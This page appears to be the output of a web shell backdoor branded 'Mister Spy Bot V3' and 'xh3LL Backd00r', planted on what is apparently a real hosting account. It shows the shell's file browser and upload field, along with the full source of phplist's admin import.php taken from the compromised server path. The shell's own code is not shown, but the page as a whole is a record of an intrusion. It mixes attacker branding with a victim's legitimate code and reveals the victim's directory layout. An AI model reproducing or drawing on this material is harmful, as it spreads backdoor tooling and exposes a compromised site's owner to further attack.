Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/import.php

<!-- all info is in the info file -->
<?php
if (!ALLOW_IMPORT) {
  print $GLOBALS['I18N']->get('import is not available');
  return;
}

/*
 *
 * would be nice to make it tabbed, but that needs more work
 * 
print '<div id="importoptions" class="tabbed">';

$c = 1;
$tabs = '';
$html = '';

$tabs .= sprintf('<li><a href="./?page=%s&ajaxed=true">%s</a></li>','importsimple',$GLOBALS['I18N']->get('import'));
$tabs .= sprintf('<li><a href="./?page=%s&ajaxed=true">%s</a></li>','import1',$GLOBALS['I18N']->get('import from file'));
$tabs .= sprintf('<li><a href="./?page=%s&ajaxed=true">%s</a></li>','import2',$GLOBALS['I18N']->get('import from CSV'));
foreach ($GLOBALS['plugins'] as $pluginName => $plugin) {
  if (!empty($plugin->importPage)) {
    $tabs .= sprintf('<li><a href="./?pi=%s&amp;page=%s&ajaxed=true">%s</a></li>',$pluginName,$plugin->importPage,$plugin->importTabTitle);
  }
}

print '<ul>'.$tabs.'</ul>';
print $html;
print '</div>';
*/

print '<p><h3>'.$GLOBALS['I18N']->get('Please choose one of the import methods below').'</h3></p>';

print '<ul>';

print '<li class="dashboard_button" id="copy_paste">'.PageLink2('importsimple',$GLOBALS['I18N']->get('copy and paste list of emails')).'</li>';
print '<li class="dashboard_button" id="import_list">'.PageLink2('import1',$GLOBALS['I18N']->get('import by uploading a file with emails')).'</li>';
print '<li class="dashboard_button" id="import_csv">'.PageLink2('import2',$GLOBALS['I18N']->get('import by uploading a CSV file with emails and additional data')).'</li>';

foreach ($GLOBALS['plugins'] as $pluginName => $plugin) {
  if (!empty($plugin->importPage)) {
    printf('<li><a href="./?pi=%s&amp;page=%s">%s</a></li>',$pluginName,$plugin->importPage,$plugin->importTabTitle);
  }
}

print '</ul>';



if ($GLOBALS['commandline']) {
  $file = $cline['f'];
  if (!is_file($file)) {
    print ClineError('Cannot find file to import (hint: use -f)');
  }
  if (!$cline['l']) {
    print ClineError('Specify lists to import users to');
  }
  print clineSignature();

  ob_start();
  $_FILES["import_file"] = array(
    'tmp_name' => $file,
    'name' => $file,
    'size' => filesize($file),
  );
  $_POST['lists'] = explode(',',$cline['l']);
  $_POST['groups'] = explode(',',$cline['g']);


  $_POST['import'] = 1;
  $_POST['overwrite'] = 'yes';
  $_POST['notify'] = 'no';
  $_POST['omit_invalid'] = 'yes';
  $_POST["import_field_delimiter"] = "\t";
  $_POST["import_field_delimiter"] = ',';
  $_POST["import_record_delimiter"] = "\n";
  require dirname(__FILE__).'/import2.php';
  ob_end_clean();
  print "\nAll done\n";
  exit;
}




Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat